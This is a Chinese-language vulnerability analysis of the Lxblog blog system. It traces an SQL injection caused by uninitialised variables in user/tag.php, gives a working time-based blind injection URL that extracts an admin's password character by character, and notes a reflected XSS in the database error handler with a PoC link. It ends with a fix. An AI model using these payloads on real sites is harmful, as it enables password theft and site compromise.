Lxblog 作为 PHPWind 旗下的一款多用户博客系统,功能确实相当全面——个人主页、二级域名、自定义模板、朋友圈与相册功能一应俱全。然而,在安全防护层面,它并不够坚固。本文专门剖析一个因变量未初始化引发的 SQL 注入漏洞,深入探究问题根源。
首先直接展示关键代码,漏洞位于 /user/tag.php:
=======================code==================================
/user/tag.php
$value) {
${'utf8_'.$key} = $value;
${$key} = $db_charset != 'utf-8' ? convert_charset('utf-8',$db_charset,$value) : $value;
}
if ($job == 'add') {
……//省略部分代码
}elseif($job=="modify"){
$tagnum="{$type}num";
$touchtagdb=$db->get_one("SELECT k.tags,i.uid FROM pw_{$type} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid='$itemid'");
//$type带入查询语句操作数据库
$touchtagdb['uid']!=$admin_uid && exit;
……//省略部分代码
=======================code==================================
仔细观察可以发现,$type 和 $item_type 这两个变量在文件中完全没有被初始化,随后直接被拼接到 SQL 查询语句中。虽然文件开头有 !function_exists('usermsg') && exit('Forbidden') 拦截直接访问,但绕过其实并不困难——通过 user_index.php 间接包含即可触发。
=======================code================================== //user_index.php到这里,漏洞的触发路径已经非常清晰:只要提交
action=tag,就会加载tag.php。但还有一个关键问题:如何绕过register_global的影响?幸运的是,user/global.php在开头就被包含进来了,看看它的处理逻辑:=======================code================================== //user/global.php ……//省略部分代码 if (!in_array($action,array('blogdata','comment','itemcp','post','userinfo'))) { //'blogdata','comment','itemcp','post','userinfo','global','top' //我们提交的action=tag,不在上面这个数组里面,可以触发下面的代码成功绕过register_global的影响 foreach ($_POST as $_key => $_value) { !ereg('^\_',$_key) && strlen(${$_key})<1 && ${$_key} = $_POST[$_key]; } foreach ($_GET as $_key => $_value) { !ereg('^\_',$_key) && strlen(${$_key})<1 && ${$_key} = $_GET[$_key]; } } ……//省略部分代码 =======================code==================================有意思的是,
action=tag并不在允许的白名单中,因此foreach循环会直接将$_GET和$_POST的值赋给未初始化的变量。这样一来,$type和$item_type就完全落入了攻击者的掌控之中。不过,还有两个障碍需要跨越:第一个是
in_array($type,$item_type)的检查,解决办法很简单——让$type和$item_type[]的值保持一致即可。第二个是构造的 SQL 语句:$touchtagdb=$db->get_one("SELECT k.tags,i.uid FROM pw_{$type} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid='$itemid'");综合来看,可以构造出如下延时盲注的 POC:
=======================poc================================== //判断uid=1的用户的密码第一位的ASCII值是否大于0 https://blog.xxx.com/user_index.php?action=tag&job=modify&type=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*&item_type[]=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/ =======================poc==================================浏览器卡住几秒代表猜测正确,瞬间返回则表示错误——这是典型的延时盲注手段。配合二分法逐步猜测,最终总能获取到密码。如果数据库版本较低,使用
benchmark函数效果会更加稳定。具体的 exploit 这里不再展开,感兴趣的读者完全可以自行编写脚本进行测试。顺便提一下,Lxblog 的数据库错误处理函数也值得关注:
=======================code================================== function DB_ERROR($msg) { global $db_blogname,$REQUEST_URI; $sqlerror = mysql_error(); $sqlerrno = mysql_errno(); //ob_end_clean(); echo"$db_blogname \n\n"; echo"
| $msg";
echo" The URL Is: https://$_SERVER[HTTP_HOST]$REQUEST_URI"; echo" MySQL Server Error: $sqlerror ( $sqlerrno )"; echo" You Can Get Help In: https://www.phpwind.net"; echo" |
这个函数直接将造成错误的 URL 原样输出,没有任何过滤——这显然是一个 XSS 漏洞。验证如下:
=======================poc================================== https://www.lxblog.net/user_index.php?action=tag&job=modify&type=&item_type[]= =======================poc==================================
尽管本文主要讨论 SQL 注入,但顺手也引出了一个 XSS 问题。修复方法其实很简单:在数据库查询之前,将 $item_type 硬编码为一个合法的数组即可。说白了,网上不少 PHP 程序都存在类似通病——变量未初始化,攻击者可以随意篡改程序流程。这个问题的根源并不复杂,养成良好习惯,对变量和类进行正确初始化,这类漏洞自然就能被有效防御。
